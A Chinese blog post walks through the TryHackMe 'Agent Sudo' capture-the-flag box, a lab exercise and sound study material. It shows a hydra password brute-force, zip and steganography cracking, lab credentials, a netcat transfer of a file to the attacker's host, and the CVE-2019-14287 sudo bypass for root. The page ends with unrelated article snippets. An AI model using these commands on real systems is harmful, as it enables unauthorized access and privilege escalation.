当前位置： 首页 > news >正文

Agent Sudo | Writeup | TryHackMe

news 来源：原创 2025/9/18 2:20:16

Agent Sudo | Writeup | TryHackMe、

一、信息收集

使用nmap对ip地址的端口进行探测

nmap -sS -sV -A  <ip>

image-20250912204423144

  • 可以看到上面80端口开放这一个web服务器我们看看

image-20250912204512937

  • 这里提示了R作为user-agent来进行访问，使用curl命令看看
curl -A "R" -L 10.10.12.116

image-20250912204740295

  • 这里又给了我们一段提示告诉我们这里不是R但是是26个英文字母之一，然后我去从A开始尝试，到C这里找到了我想要的

image-20250912205016018

二、哈希破解和暴力破解

  • 这里给了我们一个用户名chris但是不知道这个用户是FTP的还是SSH的我们使用hydra来爆破看看
hydra -l chris -P /usr/share/wordlists/rockyou.txt 10.10.12.116 ftp

image-20250912205340822

  • 成功爆破出了密码，我们登录看看

image-20250912205548075

  • 下面有一个写给J的文件和两张图片我们全部下载下来

image-20250912210527437

  • 查看写给J的文件其中解释说密码在假图像中

image-20250912210609278

  • 我们使用binwalk来查看文件

binwalk 是一个 二进制文件分析工具，主要用于 嵌入式固件、固件镜像和二进制文件的逆向工程。它能够自动识别文件中的特征结构、压缩包、可执行文件、加密数据等，非常适合安全研究和 CTF 场景

image-20250912211016885

  • 在这里PNG 文件里隐藏了一个加密的 Zip 文件，这是典型的 隐写术（steganography）我们把隐藏在图片里的zip文件提取出来
binwalk -e cutie.png

如果提示没有jar你可以通过安装 default-jdk 或者 openjdk-11-jdk 获得 jar

# 安装默认 JDK
sudo apt update
sudo apt install default-jdk
# 或者指定版本
sudo apt install openjdk-11-jdk

image-20250912212235501

image-20250912212753624

  • 这里还是不能直接对这个加密的zip进行爆破，得使用zip2john

zip2john 是 John the Ripper（JtR）套件里自带的一个工具，用来将 加密的 ZIP 文件 转换成 John the Ripper 可以识别的 hash 格式，以便进行密码破解。

当你有一个 加密的 ZIP 文件 时，直接用 John the Ripper 是不行的

zip2john 会把 ZIP 文件里的加密信息提取出来，生成一个类似 hash 的文本文件

然后你可以用 john 来暴力破解或者字典破解这个密码

image-20250912213131528

  • 转换完后直接使用john来破解得到密码alien，接下来使用这个密码解压8702.zip

image-20250912213500694

  • 查看文件内容

image-20250912213529343

  • 这里给了我们一个密码QXJLYTUx，好像是进过base64编码过的解码 拿到密码

image-20250912214148903

  • 使用steghide查看

image-20250912214251877

三、捕获用户标志

  • 查看message.txt文件，告诉了我们账户和密码

image-20250912214321356

账户：james
密码：hackerrules!
  • 使用ssh登录
SSH

image-20250912215242885

  • 拿到flag

image-20250912215257170

  • 使用nc将图片反弹到我们kali上面
KALI:nc -lvnp 4444 > Alien.jpg 
james@agent-sudo:~$ nc 10.17.35.134 4444 < Alien_autospy.jpg
  • 查看图片，算了不看了直接告诉你们这是美国的Roswell alien autopsy事件，因为我当时做这个题目的时候已经很疲惫了，所以给吓到了

四、提权

  • 属于sudo -l看看当前用户有什么是以root身份启动的命令

image-20250912220207679

(ALL, !root)：意思是 james 可以以任何用户身份执行 /bin/bash，但是不能直接成为 root/bin/bash 是 可以用 sudo 执行的命令

关键点：可以切换到其他用户，包括系统里权限更高的用户（如果存在），或者一些有特殊权限的服务账户

  • 我们查看sudo版本

image-20250912220325187

根据 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14287

在 Sudo 1.8.28 之前，一个拥有访问 Runas ALL sudoer 账户的攻击者可以通过调用 sudo 并使用精心制作的用户 ID 来绕过某些策略黑名单和会话 PAM 模块，并导致错误记录。例如，这允许绕过!root 配置和 USER=记录，对于 sudo -u \#$((0xffffffff)) 命令。

sudo -u \#$((0xffffffff)) /bin/bash

image-20250912220459475

相关文章：

Agent Sudo | Writeup | TryHackMe

Agent Sudo | Writeup | TryHackMe、 一、信息收集 使用nmap对ip地址的端口进行探测 nmap -sS -sV -A <ip>可以看到上面80端口开放这一个web服务器我们看看这里提示了R作为user-agent来进行访问，使用curl命令看看curl -A "R" -L 10.10.12.116这里又给了我们一…...

编程日记 2025/9/18 2:20:16

UT_HASH

参考 https://blog.csdn.net/Dusong_/article/details/128757067 http://cnblogs.com/aclove/articles/3803110.html UT_hash_handle hh HASH_ADD_STR(head,strfield,add) HASH_ADD_INT(head,intfield,add) HASH_ADD_PTR(head,ptrfield,add) HASH_FIND_STR(head,findstr,out) H…...

编程日记 2025/9/15 17:24:43

使用helm安装APISIX

获取values.yaml helm show values --version=2.11.6 apisix/apisix > values1.yaml修改values.yaml 1. pvc 由于我本地使用的是nfs存储，因此需要修改etcd的pvc定义 persistence:storageClass: "managed-nfs-storage"2. cluster domain 排查了很久发现etcd headl…...

编程日记 2025/9/15 17:24:41

决策单调性

决策单调性：A ~ F, I 基础知识 考虑最简单情形：\(f_i = \min\limits_{k = 0}^{i - 1} w(k, i)\)。 一般这种问题需要 \(O(n ^ 2)\) 的时间，但如果满足决策单调性，就可以在 \(O(n \log n)\) 的时间完成。 决策单调性：设 \(i\) 的决策点为 \(opt_{i}\)，有 \(opt_{i - 1} \l…...

编程日记 2025/9/15 17:24:39

2025 国内 HR SaaS 系统深度分析：Moka 引领 AI 变革

在当今数字化时代，人力资源管理领域正经历着深刻的变革。HR SaaS（软件即服务）系统凭借其高效、便捷、灵活等特性，成为众多企业提升人力资源管理水平的关键工具。随着市场的不断发展，国内涌现出了众多优秀的 HR SaaS 系统，它们在功能、服务、用户体验等方面各有千秋。本文…...

编程日记 2025/9/15 17:24:37

学生信息管理系统案例初步分析报告

学生信息管理系统案例初步分析报告 目录学生信息管理系统案例初步分析报告功能讲解1. 数据处理（1）处理的数据类型（2）数据存储位置（3）与C语言数据处理的差异2. 功能说明（含代码对应逻辑）（1）功能1：添加学生（2）功能2：删除学生（3）功能3：按姓名搜索学生（4）功能4：…...

编程日记 2025/9/15 17:24:34

Billu靶场

信息收集 首先使用kali进行存活主机扫描端口扫描 sudo nmap -sC -sV -p 1-10000 192.168.108.130发现其开启了22端口 （ssh服务）、80端口（Apache） 使用dirb对其目录进行扫描 dirb http://192.168.108.130 /usr/share/dirb/wordlists/big.txt漏洞探测 访问扫描出来的页面 先访…...

编程日记 2025/9/15 17:24:32

初识pyhton：一些基础的知识（文件）

文件 文件的打开方式 书接上回，关于文件的读取和写入有多种不同的方式，其中的一种方式就可以解决昨天只能清空所有的文档再写入。 frt = open(rexample.txt,encoding=utf8) #不指定mode默认值为rt,不指定encoding默认为gbk print(frt.read())总是学不会 真爱也有现实面…...

编程日记 2025/9/15 14:52:33

实用指南：Git分支管理：从创建到合并冲突解决（二）

实用指南：Git分支管理：从创建到合并冲突解决（二）pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", monosp…...

编程日记 2025/9/15 19:54:53

20250912

20250912T1 序列 显然每次操作保证 \(a\) 单增是假的，一定可以构造合理的操作顺序无视掉这个限制。每个位置确定划分多少次之后一定均分最优，拿个堆维护把每个东西多分一段的收益，每次选择收益最大的即可。代码 #include <iostream> #include <string.h> #incl…...

编程日记 2025/9/15 17:24:30

[ARC198C] Error Swap

题目传送门构造题意 给定长度为 $ N $ 的两个整数序列 $ A=(A_1,A_2,\dots,A_N) $ 和 $ B=(B_1,B_2,\dots,B_N) $。 你可以执行以下操作最多 $ 31000 $ 次：选择满足 \(1 \le i < j \le N\) 的整数对 \((i,j)\)，并将 \(A_i\) 替换为 \(A_j - 1\)，\(A_j\) 替换为 \(A_i + 1…...

编程日记 2025/9/15 17:24:27

【正则表达式初探】grep 命令避免匹配自身

【正则表达式初探】grep 命令避免匹配自身 最近遇到了一个问题，即使用grep命令获取xxx进程的pid时，同时返回了xxx进程的pid和grep xxx进程的pid，原因是grep xxx也会作为一个进程运行，对xxx的查找包含了grep xxx.(不要问我为什么不用pgrep或者grep -w，问就是没有。 实际中使…...

编程日记 2025/9/15 17:24:25

测试工程师的核心竞争力是什么？绝不是点点点

无论是测试工程师自己，还是团队管理者，都应该重新认识测试工作的价值，投资于测试核心竞争力的建设，从而打造出更高质量、更成功的软件产品。移动应用时代，我们每天使用的各类App几乎很少出现崩溃或严重bug，这背后离不开测试工程师的默默付出。然而，很多人对测试工作的认…...

编程日记 2025/9/15 17:24:23

关于 ECT-OS-JiuHuaShan 框架的终极阐释

ECT-OS-JiuHuaShan/ORCID：0009-0006-8591-1891 ▮ 基于自然辩证法数学形式化系统的绝对确定性推理启动 一、本质突破：从概率世界到确定性宇宙 ECT-OS-JiuHuaShan 是人类文明首个实现绝对确定性推理的范式革命系统。其突破性在于：彻底摒弃传统AI的「数据训练」范式，直接以宇…...

编程日记 2025/9/15 10:56:08

向“光”而行 | 相聚2025 ASML中国日，携手奔赴“芯”辰大海

微信视频号：sph0RgSyDYV47z6快手号：4874645212抖音号：dy0so323fq2w小红书号：95619019828B站1：UID:3546863642871878B站2：UID: 3546955410049087每年的9月1日，专属于ASMLers的“中国日”如期而至。这一天，大家享有一天额外的假期，得以放松身心、充能蓄电。此外，在整个…...

编程日记 2025/9/15 9:54:56

JavaDay3

类型转换 低---------------------------------->高 byte,short,char—>int—>long—>float—>double public class Demo05 {public static void main(String[] args) {int i = 128;byte b = (byte)i;//内存溢出//强制转换 高->低//自动转换 低->高double…...

编程日记 2025/9/15 17:24:20

U3D动作游戏开发读书笔记--2.2 编辑器本身的基础知识

2.2 编辑器本身的基础知识 项目顺利开发离不开对开发工具的打磨，为此需要对Unity Editor进行拓展功能的开发，包括一些诸如常量生成器这样辅助性的功能开发，以及通过引擎自带的插件与其他3D软件进行交互式编辑等，以提升开发效率。 2.2.1编辑器工具的编写 编辑器工具开发大致…...

编程日记 2025/9/15 17:24:18

20250904

Greedy Gift Takers https://www.luogu.com.cn/problem/P4090 若 \(i\) 不能到队首，则 \(i + 1\) 显然也不能。二分当前 \(x\) 是否能到达队首。 本来要考虑被扔的必须能到队首的限制，但是实际上可以忽略，直接从小到大直接开扔。因为如果当前被扔的 \(y\) 永远不能到达队首，…...

编程日记 2025/9/15 17:24:16

临时代码存储

存。#include <bits/stdc++.h> #define mk make_pair using ll = long long; using namespace std; using pii = pair<int,int>; const int N=2505; int n,m,ans,k,val[N]; vector<int>g[N]; set<int>s[N][2]; bitset<N>bit[N]; inline void bfs…...

编程日记 2025/9/15 17:24:14

域环境服务器搭建

实验7 域环境服务器搭建 实验目的（1）理解活动目录的基本知识、组织结构和应用特点。 （2）掌握Windows Server 2016域控制器的安装与设置。 （3）熟悉客户端加入并登录Windows Server 2016域的方法。 （4）掌握企业组织架构下活动目录域控制器的部署、域用户和计算机的管理等…...

编程日记 2025/9/15 17:24:12

25fall 做题记录 - Amy

2025.9.12 换了pycharm。 Sum of Round Numbers 9/9的每日。取每一位数。代码t=int(input()) for i in range(t):a=int(input())ans=0cnt=0res=[]while(a>0):t=a%10if(t!=0):res.append(str(t*10**cnt))ans+=1cnt+=1a//=10print(ans)print(" ".join(res))...

编程日记 2025/9/15 19:54:48

决策单调性优化 dp

1 决策单调性的定义 1.1 四边形不等式 首先我们定义一个函数 \(w(i,j)\)，如果 \(\forall a,b,c,d \in \mathbb{Z}\)，满足 \(a\le b\le c\le d\)，都有 \(w(a,d)+w(b,c)\ge w(a,c)+w(b,d)\)，则称函数 \(w\) 满足四边形不等式。 如果考虑用图形来表示，我们可以记为 “包含大于…...

编程日记 2025/9/15 19:54:45

地平线与哈啰合作 加速L4自动驾驶研发

微信视频号：sph0RgSyDYV47z6快手号：4874645212抖音号：dy0so323fq2w小红书号：95619019828B站1：UID:3546863642871878B站2：UID: 3546955410049087 9月11日，在2025年Inclusion外滩大会上，地平线与哈啰共同宣布，双方正式签署战略合作协议。该合作旨在基于Robotaxi（自动驾…...

编程日记 2025/9/15 19:54:42

langChain、LangGraph、autoGen、CrewAI、dify、cozeLLM开发工具

langChain、LangGraph、autoGen、CrewAI、dify、cozeLLM开发工具LLM开发工具...

编程日记 2025/9/15 19:54:39

华为智驾赋能「小Q7」，一汽奥迪Q6L e-tron刷新豪华纯电SUV认知

微信视频号：sph0RgSyDYV47z6快手号：4874645212抖音号：dy0so323fq2w小红书号：95619019828B站1：UID:3546863642871878B站2：UID: 3546955410049087 添加图片注释，不超过 140 字（可选）如果想买一台电车，又觉得新势力不够靠谱？传统品牌的电车，又觉得不够先进，太傻太笨？…...

编程日记 2025/9/15 19:54:36

菱形图形输出

目标输出图案：下方为代码部分：(C语言) include<stdio.h> int main() { int n; //n代表最长一行的长度 scanf_s("%d", &n); //打印上半部分 for (int i = 1; i <= (n+1)/2; i++) { //控制行数 //输出空格数 for (int j = (n - 1) - 2 * (i - 1); j…...

编程日记 2025/9/17 16:12:37

LeetCode 2958.最多K个重复元素的最长子数组 - 教程

LeetCode 2958.最多K个重复元素的最长子数组 - 教程pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", monospa…...

编程日记 2025/9/16 23:49:57

9-12

...

编程日记 2025/9/17 18:34:16

全球首款 HBM4 芯片，开始量产！

微信视频号：sph0RgSyDYV47z6快手号：4874645212抖音号：dy0so323fq2w小红书号：95619019828B站1：UID:3546863642871878B站2：UID: 35469554100490879月12日，SK海力士宣布完成新一代高带宽内存HBM4的开发，并已搭建起全球首个量产体系。这意味着，全球首款HBM4芯片正式进入量…...

编程日记 2025/9/18 1:31:24

Python Flask框架学习总结（一）

简介 Flask是一个微框架，这意味着它核心简单但可扩展。它不包括数据库抽象层、表单验证或其他组件，这些功能可以通过扩展来添加。因此要什么就装什么扩展，非常的方便 安装及导入 # 终端输入 pip install flask# 创建一个app.py的文件，导入 from flask import Flask自此就可…...

编程日记 2025/9/17 17:12:41

20250909

20250909T1 冒泡排序趟数期望 显然趟数是每个数前面比它大的数的个数的 \(\max\)。容斥，计算每个答案 \(\le x\) 的概率。从大往小填数，则每个 \(x\) 的答案容易表示为一个阶乘乘以一个次方。于是再求个差分就做完了。代码 #include <iostream> #include <string.h…...

编程日记 2025/9/15 19:54:16

9.11日总结

整体总结： 1.今天的问题主要出在了对于复杂度分析不够 T2写的就是正解 但是我自我认为写的做法过不去m=30的点 导致我只敢判m=20的点 于是从100分变成了58分 2.对于每一个部分分都要认真打 能加上的剪枝不管自我认为有没有用都要加上 可能会有更高的分 3.代码可以少加的东西就…...

编程日记 2025/9/17 13:22:35

[充电管理] 充电管理基本概念 - 充电类型

概要 高通充电平台不论是线性充电还是开关充电，充电类型识别均是基于《Battery Charging Specification Revisions 1.2》(俗称BC1.2)规范基础上进行设计。下面主要介绍在开发过程中几种基础的充电类型。充电类型 标准下行接口(SDP : Standard Downstream Port) USB端口硬件设计…...

编程日记 2025/9/15 19:54:07

Spring AI vs LangChain4j

Spring AI vs LangChain4j下面是 Spring AI vs LangChain4j 的对比 + 使用建议，帮你理解两者的区别、优缺点，以及哪种场景适合用哪个。🔍 基本介绍项目Spring AILangChain4j官网 / 文档 Spring AI 是 Spring 框架内的新模块，提供 AI 能力（模型调用、嵌入、向量数据库等）…...

编程日记 2025/9/15 19:54:04

P7913 [CSP-S 2021] 廊桥分配

P7913题解。题目传送门 首先我们是可以把两个区拆开考虑的，以下以国内区为例： 我们先不考虑廊桥个数的限制。由于飞机是遵循先来先到的原则，所以我们不需要帮忙排飞机了，直接让飞机停在当前编号最小的空闲廊桥。 这样当每一班飞机到机场时，我们可以模拟出来这架飞机会停在…...

编程日记 2025/9/15 19:54:02

函数计算进化之路与 AI Sandbox 新基座

在人工智能技术加速渗透的今天，AI Agent 正从执行固定指令的 "机械手臂" 进化为具备自主推理能力的 "数字大脑"。这类由大语言模型驱动的智能体，能通过多步骤任务拆解、环境感知与动态决策，完成复杂的业务场景需求。但当这些具备代码生成能力的 Agent 需…...

编程日记 2025/9/15 13:28:52

iPhone 17核心名单揭晓，92家中国公司占半壁江山！

微信视频号：sph0RgSyDYV47z6快手号：4874645212抖音号：dy0so323fq2w小红书号：95619019828B站1：UID:3546863642871878B站2：UID: 35469554100490879月10日，苹果公司在2025秋季新品发布会上，重磅发布四款iPhone 17系列机型：iPhone 17、iPhone 17 Air、iPhone 17 Pro及iPho…...

编程日记 2025/9/15 19:53:55

202009_风二西_蓝牙协议流量

流量分析,蓝牙协议Tags:流量分析,蓝牙传输 0x00. 题目 题目表述 附件路径：https://pan.baidu.com/s/1GyH7kitkMYywGC9YJeQLJA?pwd=Zmxh#list/path=/CTF附件 附件名称：202009_风二西_蓝牙协议.zip 0x01. WP 1. 浏览流量包，发现一个带传输文件的流量交互2. 查看分组字节后导出…...

编程日记 2025/9/15 19:53:52

AI Agent工作流实用手册：5种常见模式的实现与应用，助力生产环境稳定性

很多人认为使用AI Agent就是直接扔个提示词过去，然后等结果。做实验这样是没问题的，但要是想在生产环境稳定输出高质量结果，这套玩法就不行了。 核心问题是这种随意的提示方式根本扩展不了。你会发现输出结果乱七八糟，质量完全不可控，还浪费计算资源。 真正有效的做法是设…...

编程日记 2025/9/15 19:53:49

2025权威榜单之公众号排版Top5（含效率对比与适用建议）

在新媒体运营的日常工作中，“微信公众号排版设计”可是个让人头疼的事儿。写作慢、排版耗时、跨平台排版不统一等问题，像一只只小怪兽，困扰着我们这些新媒体运营者、自媒体人还有电商从业者。为了帮大家找到一款合适的公众号编辑器，我亲测了多款市面上主流的产品。在这篇文…...

编程日记 2025/9/15 19:53:45

4

4...

编程日记 2025/9/17 19:15:03

02020305 .NET Core核心基础组件05-开发自己的配置提供者（本课没听懂，后续再补）

02020305 .NET Core核心基础组件05-开发自己的配置提供者（本课没听懂，后续再补） 1. 开发自己的配置提供者（视频2-35） 1.1 开发自定义配置提供者的步骤1.2 开发web.config提供者1.3 web.config格式configuration → 根节点 connectionStrings → 配置的是连接字符串 appSe…...

编程日记 2025/9/15 19:53:38

linux 的 SSH 使用教程

以下由ai生成 Linux 的学习可以全部放在 SSH 上吗？ 答案是：对于服务器管理和后端开发相关的学习，99% 的内容都可以、也应该在 SSH 上完成。 你已经亲身体会到了 SSH 的巨大优势：一个稳定、高效、可复制粘贴的命令行环境。这其实就是全世界所有 Linux 系统管理员和后端工程师…...

编程日记 2025/9/15 19:53:34

解题报告-洛谷P3157 [CQOI2011] 动态逆序对

P3157 [CQOI2011] 动态逆序对 题目描述 对于序列 \(a\)，它的逆序对数定义为集合 \[\{(i,j)| i<j \wedge a_i > a_j \} \]中的元素个数。 现在给出 \(1\sim n\) 的一个排列，按照某种顺序依次删除 \(m\) 个元素，你的任务是在每次删除一个元素之前统计整个序列的逆序对数…...

编程日记 2025/9/17 15:16:33

DP 杂题

题目 [ARC157E] XXYX Binary Tree 一个很显然的暴力，\(f_{u,a,b,c}\) 表示在在 \(u\) 的子树中，是否有 \(a\) 个 XX，\(b\) 个 XY，\(c\) 个 YX。 这个状态 \(O(n^4)\) 的，考虑优化，可以先省去一个 \(c\)，变成 \(f_{u,a,b}\)，因为 \(a+b+c\) 的总和是知道的。 然后优化不…...

编程日记 2025/9/17 21:26:43

Java的变量和常量

java的变量和常量 public class ch05 {//属性：变量//类变量 staticstatic double salary = 2500;//实例变量：从属于对象；如果不自行初始化，这个类型的默认值 0 0.0//布尔值：默认是false//除了基本类型；其余的默认值都是nullString name;int age;boolean a;//main方法pub…...

编程日记 2025/9/15 19:53:22

推荐7本书《MLIR编译器原理与实践》、《ONNX人工智能技术与开发实践》、《AI芯片开发核心技术详解》、《智能汽车传感器：原理设计应用》、《TVM编译器原理与实践》、《LLVM编译器原理与实践》

7本书推荐《视觉语言模型VLM原理与实战》、《MLIR编译器原理与实践》、《ONNX人工智能技术与开发实践》、《AI芯片开发核心技术详解》、《智能汽车传感器：原理设计应用》、《TVM编译器原理与实践》、《LLVM编译器原理与实践》微信视频号：sph0RgSyDYV47z6快手号：4874645212抖…...

编程日记 2025/9/15 19:53:18

202009_风二西_USB鼠标流量

流量分析,USB鼠标流量,gnuplotTags:流量分析,USB鼠标,gnuplot 0x00. 题目 附件路径：https://pan.baidu.com/s/1GyH7kitkMYywGC9YJeQLJA?pwd=Zmxh#list/path=/CTF附件 附件名称：202009_风二西_USB鼠标 0x01. WP 1. 脚本解析USB鼠标流量，导出点击轨迹 getUSBMouse.py # -*- c…...

编程日记 2025/9/17 15:16:33

virtuoso默认设置

如何保存,load 默认线宽线距 保存：打开VSR,输入想要的线宽线距，保存在默认路径，取名*.preset。 load：vsrLoadPreset("*")...

编程日记 2025/9/17 12:41:47

CF547D Mike and Fish

这种题为我们提供了一个很好的思考方向。 遇到这种差为 \(1\) 甚至是相等的情况，我们通常应该往二分图，特别是欧拉回路方面思考。 这个题的做法是这样的，同一行成对连边，如果是奇数个点就剩一个点不连边，同一列同理，考虑这样连出来的图一定是一个二分图，只需在这张图上跑…...

编程日记 2025/9/15 19:53:05